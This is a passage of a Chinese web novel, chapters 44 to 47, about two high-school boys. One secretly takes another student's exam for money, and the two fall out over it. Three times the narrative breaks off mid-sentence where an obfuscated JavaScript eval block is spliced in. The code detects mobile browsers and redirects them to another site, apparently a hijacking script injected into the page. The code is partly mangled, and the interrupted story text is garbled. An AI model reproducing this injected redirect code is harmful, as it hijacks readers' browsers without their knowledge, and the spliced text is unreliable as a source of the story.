许之原本是想让她帮忙问一下同学,李斯年是否安全到了对方家中,但梁芷莫名的慌张让他心中的怀疑更甚,于是临时改了主意。 “那你把那两个同学家里电话都给我吧,我打去问下,没电话的话,微信也行。” 梁芷听了这话,果然更紧张了:“我也没有他们的电话和微信啦,因为不是一个班的……要不,我帮你问问?晚点有消息了,我再和你说?” 若说没电话还有可能,但没微信就太说不过去了,况且许之隐约记得当时李斯年说起梁芷帮忙找到了家教时,还很开心的说了句:我等她把微信推来,聊聊课时费,希望可以高点! “梁芷,你和李斯年是不是有事瞒着我?”许之问。 “怎么可能呢!”梁芷否定的又快又急,甚至抬高了音量,但随之也发现了自己这样有点此地无银三百两,干笑了一声:“许之哥,你想多了。” “好吧,不说的话,我现在去你家问问孙姨。”许之说完,就要挂电话。 “诶,别!别去问我妈!”梁芷说完,认命的叹了口气,“我、我告诉你,但你别和斯年哥说,是我说的,行吗……” “好。” “他今天在江城二中。” 许之:“他去那做什么?” “就……你现在去北门,可能还来得及。我只能说这么多了!你要信守诺言啊!”梁芷说完,抢先一步挂了电话。 许之愣了几秒,抬手就在路边拦了辆出租车,往江城二中去。 江城二中是江城仅次于育德的高中,理科强于文科,每年过一本线的学生其实比育德少不了太多,但其中能上知名重点的数量要略逊一筹。 江城关于高中补课抓得比较严,几所重点高中都不敢公开在周末和节假日让学生来上课。 许之就听方行舟吐槽过,育德在高二升高三的那个暑假,为了拉进度,是专门把所有准高三生都组织到合作的复读学校教学楼里,偷偷补了一个多月的课。 所以,李斯年周六去江城高中能是为了什么呢? 许之一路的苦思冥想,在下车的那一瞬间得到了答案。 出租车停在了南门、也就是江城二中的正大门,只见门前拉了一个巨大的红色横幅—— 预祝江城二中模拟高考摸底考试圆满完成! 44. 正轨 江城二中这次模拟高考摸底考试和育德之前的摸底考试意义类似,范围、出题风格应该都是一比一参考历年高考的。 只是江城二中的这个考试时间比育德稍晚,放在了高三上学期的期末。 象征着考试结束的铃声响起,空旷的学校渐渐变得热闹。 不少学生背着书包,从教学楼往下走,远远望去,操场就像是干涸的河床上突然涌出了江水般。 许之反应过来,赶紧快步往北门去。 北门是距离正大门最远的一处出口,比较偏僻,许之左绕右绕,差点在侧边的小巷子里迷了路,还是问了好几个大爷大妈,最后才终于找到了地方。 这边几乎没什么学生出来,许之隔着一排绿化带找了找,没费什么力气就看到了李斯年的身影。 他心下一沉。 只见李斯年穿着江城二中的校服,原本垂在额头前的刘海也往后梳了起来,鼻梁上架着一副令人陌生的黑框眼镜,看起来实在是有几分怪异。 他往西门左侧走了几步,绕到拐角后,拿出手机给什么人打了电话。 很快,拐角尽头就走来几个男生,许之靠近了些,借助绿化带掩藏身形,听到了他们的对话。 “考完了?”走在前面的是一个背头男生,看穿着装束应该也是个家里挺有钱的,只是举止投足间有些吊儿郎当,一眼看上去就是不学无术的富二代。 李斯年:“嗯。” 背头男生走过来,揽着李斯年的肩,话是笑着说的,但语气却透着生疏:“是厉害啊,不愧是大名鼎鼎的李斯年,走,哥几个请你撸串!” 李斯年挪开半步,脱离了对方搭在自己肩上的手:“不用了,我还赶时间。” 背头男生一愣,语气有些夸张:“哎哟,对不起,我给忘了,听说你喜欢男生,那我这……算不算是性骚扰啊?哈哈!” 这话一出,其他几人也跟着戏谑的笑了起来,但李斯年恍若未闻,他将校服脱下来还给对方,说:“费用结一下吧。” “看你急的,我早就备好了。”背头男生一边掏出钱包,数着钱:“听说你家可有钱了,比我家还有钱多了,怎么能屈尊做这些活儿呢?” “和你没关系。”李斯年说。 “好好好,我都懂,我跟我老爸也聊不到三句就要掀桌子。”这话明显是已经听说了李宇和李斯年闹掰的事,男生将一叠红票子放到李斯年手上,“辛苦了哈。” 李斯年都没细数,只是两根手指捻开看了眼,平静双眉终于微微皱起:“说好的两千呢?” 背头男生两手一摊:“俗话说一手交钱一手交货,你家做生意的,应该懂啊!按说我应该等到出成绩那天,再给你结算的,可是你说你要得急,行,我相信你,所以考完就给你了,但……” 他停顿片刻,咧嘴一笑:“总不能风险都让我担着吧?钱提前给,那可不就得打点折?” 这明摆着就是要耍赖了,李斯年脸色变得不太好看。 “你要掰扯,那就掰扯仔细一点。首先,这件事你没有事先说好,其次,就算打折,也不至于两千变八百。要不然,这钱你拿回去,我跟监考老师说一下,你自己重考一次得了?” 背头男生听这话反而哈哈大笑起来,他在李斯年面前踱了几步,饶有兴趣道:“现在缺钱的可是你、不是我啊,你那牛逼老爹没教你,伸手要钱的人,就是得低人一等么?” 李斯年阴沉着脸,没有接话。 背头男生接着说:“再说了,据我所知,你们育德抓校风抓得很严,若是被知道替考,肯定少不了罚值日、请家长、全校批评……对了,你不是跟家里闹翻了么,要是你ok,那我也无所谓,你去说! 李斯年背在身后的拳头攥紧,他死死抿着嘴,极为艰难的忍耐着怒火。 要换做是以前,他早就翻脸了。 但现在不行,他太需要这笔钱了。 “眼神这么可怕,你不会要打我吧?”背头男生贱兮兮道。 李斯年沉默许久,突然开口:“一千。” “嗯?” “我是算着分数做的题,因为你要求进年级前一百、但又不能名次太高惹人怀疑。” 李斯年的声音有些沉,竟然听不出什么情绪,甚至称得上平静,“等成绩出来,你的排名应该会在八十名左右,到时候如果不准,你要告状或怎么样,都可以。但现在必须再加两百,总共一千块,否则我不介意大家一起被拖下水。” 这话似乎让背头男生有些意外,他啧啧笑道:“我之前听说,你是个硬脾气啊,这……看来是真缺钱了。” 他捉摸了一会,说:“那这样吧,你刚吼了我,给我鞠躬道个歉,然后我给你补两百,大家皆大欢喜,如何?” 又是一阵嘲笑响起,顺着夜风吹散开来,声音越来越大、越来越多,尽数吹到了许之的耳中。 许之觉得像是一把钝刀在割着自己的心脏,深深浅浅、一下又一下,扯着肉,带出血,疼痛渐渐向外扩散。 这样的场景他该是熟悉的,只是往常站在李斯年那个位置的都是他。 但如今他是旁观者。 为什么,事情到底为什么会发展到如今这个地步? 他怎么会让李斯年面临这样的处境? 到底是哪里错了? 许之脑海中思绪纷乱,只觉得要炸开来,忍不住想要一拳狠狠地砸在那背头男生的脸上。 只是他刚踏出一步,就见那边李斯年弯下了腰。 李斯年攥紧的拳头藏在身后,其他人瞧不到,许之所处的角度却能看见。 他开口,声音听不出什么情绪。 “对不起。” “我给你道歉。” 许之浑身僵硬,双腿直愣愣的戳在地上,像是被雷劈了的树。 他想躲,却又不知为什么并没有付诸行动,而是等着李斯年道完歉后,接过对方递来的两百块钱、转身,目光猛地落在了自己的身上。 许之在这瞬间感受到一种近乎自虐般的快意,以逼迫着自己做下某个决定。 “你……怎么会在这里?”李斯年表情有些尴尬,但他还是主动走过来,“我、我可以解释的。” 走近再看,李斯年与往常不同的发型、装扮更让人觉得怪异,许之喉头一哽,心中很不是滋味,他沉默片刻,声音有些沙哑:“那你说吧。” 李斯年以为许之会像之前那样在一开始回避问题,没想到这次竟然顺着自己的话说了下去,于是小心的措辞:“刚才那个男生……他爸跟李宇是商业上的竞争关系,所以看我不爽,故意为难的,也挺正常,你别放在心上啊。” 许之听完,却是垂下眼没作声。 “真的。”李斯年以为他不相信,“这种口舌之快,给他逞就逞了,没什么啦。” 许之仍然低着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401256|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,声音很沉闷,“你能卖钱的东西都被李宇收走了,为什么不告诉我?为什么要背着我接替考的活?” 李斯年听这话反应过来,大概是李糯糯把什么都跟许之说了,他自知理亏,软着声音说:“我都已经答应你,剩下的钱包在我身上了,那中途出岔子,我肯定要负责啊,对不对……” 不,不是这样的,许之心中叫嚣着。 李斯年又说:“如果让你知道替考的事,一定不准我来的,那房租怎么办呢……” “所、以,你到底为什么要负责!”许之猛地抬起头,打断了李斯年的话,他声音很尖锐:“房租和你有什么关系、我怎样又跟你有什么关系?” 李斯年这才发现,许之不知什么时候双眼都红透了,汪汪的水光圈在圆润的眼角,像是花瓣上兜满了却未落下的露珠,情绪全都强撑着,包裹在水面那层透明的张力里。 李斯年没想到他会这么激动,一时语塞:“我……” “你这样让我觉得自己很没用,你知不知道?” 许之就连歇斯底里也是隐忍的、收着的,音量并不大,只有控不住的尾音泄露心中的情绪波涛:“从一开始就是,你善良、你好心,非要来管我的破事,说自己是同性恋,然后一步步到现在这样子……” 说到这里,许之突然哽住。 他飞快地撇开头,在昏暗的傍晚,绿化带的阴影里,李斯年只能看到他长睫飞快的扇动几下,等到回转来时,眼角的水光已经不见了。 “李斯年,你让我怎么样才能还得起这份人情?” 许之终于问出这句话,他忽然觉得很畅快,一直以来,他虽然嘴上说让李斯年不要帮自己,但实际行为却是在近乎理所当然的接受对方所有好意。 可是他们之间的关系明明根本没到这个程度,李斯年可以因为他本性纯善而做出这样的仗义举动,许之却应该自知,他不能这样坦然接受。 这句问话早在李宇和许茜来出租屋那场闹剧之后,二人就应该摊开来说清楚的。 只是当时他们都陷入类似同病相怜、并肩作战的氛围中,仿佛天生就该从此站在同一战线,对抗李宇和许茜。 但其实,李斯年不是非要在忙碌的学业之余跑前跑后的兼职谋生,不是非要做那些脏活累活。 更不是非要将一身傲骨折断在这里、低三下四道歉只为了能再多拿两百块钱。 他明明有其他更好的选择,承认自己不是同性恋,或哪怕虽然和李宇闹翻了,但只要主动跟许之撇清暧昧关系,也还能回家,过正常上学生活的日子。 都是因为自己,李斯年才会走到现在这境地——这是许之内心早就响起过的声音,也是一直被他有意无意间忽略的声音。 因为他自私,他起了贪恋,想维持这样的梦,不要醒来。 哪怕结果是拖着对方陪他滚落泥地、满身污浊…… 但今天目睹这一幕,许之才发现自己其实根本无法接受。 因为他是李斯年啊! 是纯净天空上高悬的太阳,永远炙热又生机蓬勃,他明明希望李斯年可以一直这样、不要改变,却又亲手将这阳光揉进乌云,让暴雨浇湿了光芒。 仿佛只有这时候,这从天上跌落地面的光芒,才会是仅仅属于他的。 是时候结束这个错误了。 让太阳回到该在的地方。 “到此为止吧。”许之说。 45. 原点 许之眼底升起的疏离刺痛了李斯年,他着急的想要解释:“你没必要觉得欠了我的人情,我也不用你还……” “可是我不需要。”许之再次打断他,“从开始我就说了,不用你帮,这一切最初就是错的。” 李斯年看着他眼角褪去的红色和平息表情的脸,忽然有些心慌,他迫近一步:“你这话是什么意思?” 许之后退两步,拉开距离,感觉到背后碰到了坚硬的树干,他强迫自己的声音听起来也是这样冰冷坚硬:“我是同性恋,但你不是,你应该回碧水名城,过你原本正常的生活。” “那你去哪?” 许之:“和你没关系。” 李斯年气得脑子转慢了半秒,他眨了眨眼,才反应过来自己听到了什么,不可置信道:“许之,替考这件事我瞒着你,是我不对,你生气,我完全理解,我跟你道歉、怎样都行。但你说以后和我没关系,还让我回碧水名城,是不是有点过分了?!我和李宇之间关系是什么样,外人不知道,但我以为至少你会懂!” 李斯年眼底的痛楚太明晃晃了,许之有些仓皇的移开眼,不敢再看,他暗自死死咬着舌尖,痛楚却从心底漫起来。 他现在明明应该安慰刚刚才被人欺辱的李斯年,如果能下一秒就死去那样不管不顾随心所欲的话,他甚至想要伸手去抱他。 可是偏偏不行,他只能冷着声音说这些把人推远的话。 或许许茜有句话说的没错,他就是灾星,在谁的命里出现,谁就要倒霉。 许之转身想走:“那是你自己的事情……” 但话没说完,李斯年突然大跨两步,堵住了许之的去路,他手撑在树干上,将许之困在自己与树之间,强迫许之看向自己。 李斯年目光灼灼:“我做的那些事,你觉得是我闲得无聊也好、爱心泛滥也罢,我从来没想要什么回报,我现在只想问一句,你从头到尾、难道就一点都没念着我的好?” 许之在这样的注视中掐紧了拳头,手心传来刺痛,他感到自己的耳膜几乎都要被一阵阵伴随心跳的血涌给冲破。 他强行按捺着耳鸣,用尽所有力气,只为了保持声音平静:“我是感谢你的,但我承担不起,以后考上大学,有钱了,我给你买点什么做答谢……” 他其实完全不知道自己在说什么。 只知道话说完,李斯年忽然自嘲的轻笑了一声,然后松开手,方才二人之间囚起的那一团温暖空气,霎那间就被夜风吹得毫无踪影。 许之感觉自己的心也跟着一空。 “行,要买礼物感谢我,原来你是这样想的。”李斯年原地踱了几步,“我最后问一遍,你这些话是认真的,不是闹脾气?” 许之默了几秒:“是。” “那我就等着你的礼物,你记得,一定要够昂贵,若配不上我做的这些事,我是不会收的!” 李斯年愤愤说完,转身离去。 - 江城二中距离三岔巷子有些距离,李斯年心里有气、脚步也快,愣是在冬天的夜里走出了一身汗。 他回到出租屋后,将无框眼镜泄愤的往垃圾桶里一丢,实在是觉得自己一颗真心喂了狗。 还好没告白,许之这么急着和他撇清关系,看来也是打心底里厌恶他的,若是说出口,反而被笑话—— 李斯年进卫生间洗澡之前,是这样想的。 洗完澡之后,躺在床上打了几把游戏,其实根本心不在焉准心乱瞄,都是草草失败收场。 眼看时间已经接近凌晨,李斯年扭头看了一眼旁边空旷无人的被褥,气还是在,但又后知后觉自己气得好像有点没由来,许之是不是会觉得莫名其妙? 毕竟人家也没许诺过自己什么,二人说好听点是朋友、说难听点就是同学,没名没分,就算不合租了、各奔东西,也很正常。 李斯年又被自己这“没名没分”四个字气到了,暗恋难道就是这么卑微的吗?! 自己好歹哼哧哼哧做了那么多事,没有功劳也有苦劳,就算只是朋友,也该心怀感谢吧—— 但人家感谢了啊,还说要送礼物呢。 李斯年想了好半天,除了仍然气鼓鼓,也没有任何结果。 其实他最不理解的,就是许之今天为什么反应这么剧烈? 自己骗人在先是不对,但也不至于绝交的程度吧! 李斯年不喜欢冷战,有话就要说开,更何况许之对他而言和别人不同,他做不到说放下不再想,就真能洒脱做到。 眼看已经到后半夜,许之还是没回,他终于还是打了通电话。 您拨打的电话暂时无法接通,请稍后再拨…… 连续打了好几通,都是这个结果。 李斯年打开微信,打出几个字:这么晚了还不回来睡觉? 又觉得这话好像是独居怨妇说的,有点奇怪,于是删掉了,前前后后措辞了好几句,都觉得不太满意,最后发了句:门反锁了,钥匙转两圈。 然后将手机赌气似的丢得远远,被子往头上一罩,扭头睡去。 次日醒来,李斯年发现旁边被褥整整齐齐没动过。 再拿起手机一看,几条微信消息都是来自李糯糯的,李斯年简单回复了,去看许之的对话框,还停在自己昨晚的那句话上。 看来他是整夜未归了,还连句话都不给。 李斯年带着残留的愤怒去上学,走在路上,先是想着等下见到许之,要质问他为什么要做得这么绝、消息不回电话也不接。 转而又想到他的钱都在出租屋里,也不知道昨晚到底是去哪里过夜的,安不安全,会不会冷…… 不知不觉间,愤怒全都化为了关心,李斯年在心里骂了自己一句“窝囊”,走进教室,却发现许之的座位是空的。 上午两节课过去,人还是没来。 李斯年终于还是忍不住,在课间跑去问老董头,结果老董头说人一早上来办公室请的假,有病假条。 之后两节课,李斯年也顾不上生气了,光想着“他究竟生什么病了”,中午回出租屋拿课本时,还坚持给许之打了好几通仍然无人接听的电话。 结果一开门,看到屋内空了的衣柜床铺和课桌、还有桌上那把备用钥匙,李斯年才突然回过味来。 什么生病请假,都是假的! 许之只是为了趁他不在的时候,把东西搬走。 李斯年的无名火一下子又燃了起来——这是多不想见自己,专门来这么一出,都不嫌麻烦的?! 他调出微信界面,按下几个字。 SN:一分钟内回电话,否则我去找许茜。 很快,许之的来电亮起。 李斯年:“你总算肯通电话了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401257|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许之声音还是淡淡的:“什么事?” 李斯年单刀直入:“你东西搬走了,要住哪里去?” 碧水名城肯定是不可能。 而且经上次那件事后,李斯年虽然不了解许之和许茜以前怎样相处、发生过什么,但也知道许之这时绝不会去向她求助的。 “不用你管。” 李斯年就知道他会这么说:“好歹同学一场,我得确认你是安全的,否则我还是要跟许茜和老董头说。” 电话那头一阵沉默,然后传来破罐子破摔的一句:“那你随意。” 这话说得,就是很了解李斯年了,李斯年气得牙痒痒,许之认准了自己不会和敌军通报友军情报的。 但他憋着脾气不敢发泄,怕许之一气之下又挂电话,于是耐着性子,语气甚至有些无奈道:“不是……就昨天那事,至于闹成这样吗?架都吵过了,我出发点也是好的,对不对?大不了以后不这样了。” 电话那头没了声音,李斯年有些抓耳挠腮,他发现这么长一段时间过去,自己还是和从前一样,搞不懂许之脑袋里到底在想些什么。 “喂?在听吗?”李斯年说。 “嗯。”许之顿了顿,“之前,真的很谢谢你。” 这话语气听起来是由衷的,李斯年还以为许之也生完了气,想要和好,正松了口气,却听到对方继续说:“但以后还是做普通同学吧,出租屋下个季度的房租我已经缴了,除此之外课桌抽屉里有些钱,聊表心意。其他的,等日后我有能力了,再尽力。总之就这样,再见——” “等等!”李斯年不甘心,他急切地问出心中最疑惑的问题,“我不明白到底为什么?我做错什么了,让你这么讨厌我?” 许之这次倒是回答的很快:“我不讨厌你。” 他仿佛深吸了一口气,但隔着手机听筒,不太分明:“你没做错任何事,只是……我们不是一个世界的人,本来就该分道扬镳的。” 说完,啪嗒一声,干净果断的挂了。 李斯年有些发愣,任由听筒在耳边嘟嘟几声,最后跳转出通话界面。 昨天争吵之下的激烈言辞,其实都不足以叫人过于较真。 今天冷静之下的割席才更让人心寒。 他这是……连朋友都不要做了的意思吗? 这人怎么可以这么绝情? 之前李斯年还以为好不容易拉近了二人的距离,朝夕相处的时间被柴米油盐染上近似于家的温度,有些瞬间,让李斯年几乎觉得他们可以说一些心里话。 但原来都是假象。 共同经历的事情都变得没有了意义,无论李斯年多么努力的向他走去,到头来许之只需要轻轻往后退一步,一切就会瞬间坍塌崩坏,回到原点。 李斯年感觉心像是被揉成一团、丢在角落皱巴巴的纸,满是说不出的难过和委屈。 许之的东西不多,但出租屋很小,少了一个人的痕迹还是非常明显的。 李斯年失落地跌坐在床上,床头的木铃随着晃动发出轻微声响。 他将木铃拿在手里,看着看着,忽然眼睛就有点发酸。 妈妈…… 李斯年嘴唇轻动。 本来有一个人陪我吃小龙虾的,但他现在也要走了。 他原本说过,不会离开的。 你们都说话不算话。 46. 体测 接下来的日子都恢复了最初的模样。 李斯年照样上课睡觉,放学不喜欢挤在人群里走,总是等走廊空下来了、食堂早就挤满了,才慢慢往南门便利店走。 “再这么顿顿便利店的吃下去,我的零花钱要支撑不住了。”一天中午,方行舟跟着李斯年走到教室外,从窗户往内里看了一眼,小声问,“你和许之怎么了?吵架了?” 方行舟也看出来了,应该是很明显吧。 当然明显了,从前无论是午餐晚餐去食堂、还是体育课大课间下楼,他们几乎都是在一起的。 虽然通常都是李斯年和方行舟走在前面有一搭没一搭的闲聊,许之安安静静跟在后面。 但偶尔李斯年回头问许之一句什么,他也能接得上,说明他也一直在听着前面人讲话。 许之虽然不常笑,但聊到有趣的话题,嘴角也偶尔会弯起非常轻微的弧度。 这一切都让李斯年觉得他们已经是挺好的朋友了,毕竟许之性格天生带着疏离,能这样已经很好了。 没想到,只是自己的一厢情愿而已。 过了这么些天,李斯年一想起还是会觉得很难受。 其实除了郑秀的事情之外,他几乎从来没有对什么人、什么事膈应这么久,这样的不能想,一想就觉得放不下。 原来不知不觉间,许之已经在自己心里占了这么重的分量。 李斯年不想和方行舟多说,只是摆摆手,回他一句:“没有,不一直这样嘛。” 方行舟微愣,正想着“以前不是这样啊”,抬头李斯年已经走远了,他掏口袋看了一眼零花钱余额,一咬牙跟了上去:“最后陪你一次,明天我真得吃食堂了!” 从便利店吃完再慢悠悠转回教室,比去食堂一个来回花的时间要久。 李斯年因此没有机会再看到许之每餐在吃什么,每每回到教室时,对方早已经趴下午休了。 李斯年暗暗觉得庆幸,只要一想到许之又拿出那个不锈钢饭盒啃粗粮,就觉得心里不得劲。 如果亲眼看到,难保不会忍不住拉着他去食堂点肉菜。 但自己已经主动了两次,许之拒绝的态度一直很坚决,李斯年也有自尊心,他不想再主动第三次。 育德提倡全面发展,副科也是有正经期末考试的,但重要程度终归不比主科,不仅提前一周进行,各方面要求也比较松。 美术和音乐都是以作业形式发下去的,隔天提交或随堂考验,体育课是随堂考两节,正好和当年的体检一起做了,在体育馆进行。 偌大的场馆被分成了多个区域,体育期末计入分数的考试有跳远、前屈、800米长跑。 六班学生们到时,体育考试的项目那边还有上一节课的学生没做完,于是季老师安排他们先去体检那边排队。 体检的内容挺简单,身高体重、肺活量和血常规,李斯年进体育馆,没有很刻意的去找,就看到许之站在肺活量那边的长队。 于是他脚步一顿,往测身高体重的那边去了。 李斯年个头高,身上虽然不是那种健身出来的夸张肌肉,但也是紧实匀称的,所以他并不太能理解因为自己和方行舟等人走来、而连带着其他一些男生顺势走来时,排在前面几个女生抵触的反应。 因为这个年纪的女生大多很在意外表和体重,特别是后者,简直是最机密的数字没有之一。 黄锦婷“啧”了一声,她正好站在几个女生的最末,回头说:“你们就不能先去测别的嘛?” “这边排队的人少啊。”方行舟是个不能忍受话落在地上、一定要接起来的话痨。 他眼珠子一转,猜到了什么,故意踮起脚往前看,“难道我们班女生最近全体长胖,体重这么见不得人啊?” “呸呸呸!胡说什么!” 黄锦婷说着,伸手要拦方行舟的眼睛,但以她的个头是不可能拦得住,只听到方行舟故意放大的声音从嘴里冒出来:“哎呀,一米六二,一百零一?这谁啊,竟然体重过了三位数?!” “方!行!舟!”站在测量仪器上的女生愤愤回头,竟然是王雪菁,她脸涨得通红,下来后连鞋也没心思细穿,后跟踩在脚下就匆匆走了。 “叫你贱!”黄锦婷剜了他一眼,转过头去也不搭理人了。 方行舟的表情凝固在脸上,他目光随着王雪菁离开的方向,直到人消失了,才迷茫的看向李斯年,喃喃道:“我、我不知道她今天没扎双马尾。” 李斯年忍住幸灾乐祸的笑,其实他也挺同意班长的话,方行舟这就是自找的。 但作为兄弟,他只能拍拍方行舟的肩膀。安慰道:“要不……就算了,天下好姑娘千千万,咱换一个喜欢?” 方行舟心如乱麻,下意识摇摇头,没发现自己这算是默认喜欢王雪菁这件事了:“我真不是故意的,这可怎么办。” “我觉得……”李斯年正思考着,余光越过方行舟焦虑的脸,角度很巧,不远处正好是许之身影。 他前面的那个学生好像有点紧张,测试肺活量吹气时一直漏气,数值达不到标准线,但一般确认没有基础疾病的情况下,医生都会多给几次机会尝试。 于是许之就一直站在后面等,他没看手机,双手是松松的插在兜里,头半垂着,不知道在想什么。 这样的侧影看起来很孤单。 和李斯年刚见到他那时一样。 他心里一动,对方行舟说:“你去追上她,道个歉。” “啊。”方行舟脸一红,有些踌躇,“万一她不接受怎么办?” “不管接不接受,都是说清楚比较好。”李斯年从许之身上收回目光,声音有些轻,“与其没做后悔,还不如做了后悔。” 这是李斯年践行的行为准则,虽然很多事尽管事在人为,却最终事不随人意。 比如许之。 但至少他自己问心无愧了。 方行舟听了这话原地沉默,思索片刻,最终还是下定了决心,转身往王雪菁离开的方向而去。 李斯年把前面的体检项目做完,轮去抽血那边排队,方行舟人还没回来,也不知道找到了王雪菁了没。 李斯年切出微信界面正发出一句“怎么样了”,随之察觉到前面原本在顺畅进行的抽血似乎遇到了些阻碍。 桌对面座位上的年轻护士表情惴惴不安。抽出针头,将干净而毫无血液痕迹的针管放在桌上,给对方贴上止血贴。 “护士长,麻烦来这边一下!”她站起身,向身后巡视的年长护士招手。 那人应了声,走来一看就大概了解是什么情况了,她接替了座位,摸索了片刻对面人的胳膊。 “换另一只手看看。”护士长的声音也有些严肃。 那人将右手校服袖子撸起,伸了过去。 护士长扎绑带、拍打片刻,仔仔细细用手指摸了近二十秒,似乎终于确定了血管的位置,涂抹上碘伏,一针下去,见到了回血。 “中午吃饭没?太瘦了,血管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401258|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都摸不到。”她一只手松开绑带,说,“大概率贫血,结果出来了要注意看一下。” “好,谢谢。”那人站起身,转身离开。 李斯年死死盯着手机界面,装作自己很忙的在打字,回过神来时发现打了一堆乱码。 他长长的呼出一口气,抬起头,已经看不到许之的身影了。 他按捺着内心空落落的感觉,也抽完了血,往体育馆外侧的跑道走,六班的人陆续都做完了体检,在等体育考试。 800米太消耗体力,都是放在最后的,季老师将同学们打散,分往前面两项考试的排队队伍后面。 李斯年依次完成后,前往跑道围着的中心休息圈做着800米的准备活动,方行舟这时才回来。 “可以啊,聊了这么久?”李斯年撇开心里萦绕的阴云,挤出一个笑来。 方行舟有点不好意思的摸摸头:“没,就是陪她把体检那些都做完了。” “看来是聊开了。”李斯年说。 方行舟“嗯”了一声,又小声叮嘱:“可是……那件事,我还没想好,就没说。” “什么事,你喜欢她的事——” 方行舟赶紧伸手捂李斯年的嘴,左看看右看看,还好没人听到。 李斯年难得见他有这么纯情的时候,笑着挪开对方的手:“我不说就是了。” 方行舟这边嘱咐完,又一蹦一跳的跑去陪王雪菁做前面的考试内容了,李斯年心中感叹了一句重色轻友,跟着班上其他同学凑齐了五个人一组,去跑800米。 他体力一直都不错,若是平时,在及格时间内跑完是轻轻松松还有富余,但这次跑到半途时,他就感觉到脚腕有些酸痛。 又跑了几步,才后知后觉的想起来之前篮球赛时受的伤。 在许之无微不至的照顾下,他以为自己早就好全了,这段时间以来也没什么不适,却没想到原来只要发生过的事情必然会留下痕迹。 李斯年咬着牙想跑完全程,但是个人都看得出来他明显掉队了,直到最后一圈已经慢了同组人四分之一圈。 李斯年估摸着,这么下去真要不及格了,于是想要最后冲个刺,但刚要发力,就脚腕一阵剧痛传来,手想要往前撑地,已经来不及了,整个人不受控的往侧面倒去。 他是在尚未减速时骤然停下的,惯性不小,还好是处于内跑道,擦撞向休息圈的草地里,比硬地面好一些。 但与地面接触的手臂还是不可避免传来火辣辣的刺痛。 围观的同学们传来惊呼,方行舟还在稍远的地方跳远,李斯年余光瞥见有一道人影向自己冲来。 他心中一动,随即很没骨气的生出些期盼。 但抬起头,引入眼帘的却是孟畅畅关切的脸:“怎么了?是不是脚伤复发了?” 那颗心又悄无声息的落回原地,李斯年感觉脚腕的肿胀刺痛越来越明显:“可能是吧。” “那得赶紧去医务室。”孟畅畅一个人扶不起人,李斯年都来不及阻止,就听她扯着嗓子用洪亮的声音冲跑道对面的季老师喊道:“老师!李斯年脚伤了!” 一时间,操场上的目光都投了过来,季老师“诶唷”一声,冲着众人招了招手:“来几个男同学搭把手!” 几人合力将李斯年架了起来,还准备把他打横抬起来,但李斯年觉得这样着实有点太难看,于是坚持只需要搀扶,然后借没受伤的脚半蹦着,往医务室去。 自始至终,他都没有看到许之的影子。 47. 心意 到医务室时,李斯年的脚踝已经肿的很明显了。 校医初步检查之下,判断是旧伤后肌肉力量还没有完全恢复、维持一段时间高强度奔跑后出现了疲损,从而造成摔倒后的二次崴伤。 “那骨头有伤到吗?”孟畅畅急切地问。 她跟着几个男同学送李斯年来医务室后就没离开,也不顾自己还剩跳远和800米没考。 “目前看起来可能性偏小,建议去医院拍个片子。”校医说着,进行了简单的包扎,并开了些药,让李斯年在内间再休息一会,等会下了课再回去。 “我没事了,你去忙吧。”李斯年半靠在医务室的床上,说。 孟畅畅摇头:“我和董老师说一声,现在就去医院看看吧?” “不用了,校医都说了大概率没什么的。” “这种事情可不是开玩笑的,况且之前刚受过伤,小心留下病根。”孟畅畅说着,就准备去找董老师。 “等等——”李斯年扶着床要下地拦人,把孟畅畅吓得又折返回来。 “干嘛呀,你还不能下床!” “我真不用去医院。”李斯年有点无奈,“就听我的,行不行?我自己的身体,我知道。” 论倔谁能倔得过李斯年呢,孟畅畅最后也只好叹了口气:“好吧好吧,听你的。” 大概二十分钟过去,下课铃响起,李斯年杵着医务室的备用拐棍,被孟畅畅护送着回到教室。 “严不严重啊?”方行舟原本也正想去医务室找他,见人回来了,赶紧伸手去扶。 李斯年回到座位,余光瞥见许之低头写卷子的姿势,这人一点都没有抬头看看他的意思。 真绝情啊。 “没事。”李斯年一带而过,仿佛但凡多说几句,就像是在故意说给许之听。 他那么想和自己划清界限,那李斯年也决定知趣的保持距离。 方行舟还在关切的询问,大概和孟畅畅一样,劝他还是去医院彻底检查一下。 李斯年敷衍的应和几句后就借口说自己困了,拿校服罩着头就趴下睡觉。 这一睡就睡到了晚自习结束,中途晚饭点虽然醒了几分钟,但脚踝的不适感仍然明显,他也懒得出去吃饭,换了一侧的手臂,继续睡去。 他看起来睡得久、但其实睡得很不安稳,一直做着破碎又凌乱的梦。 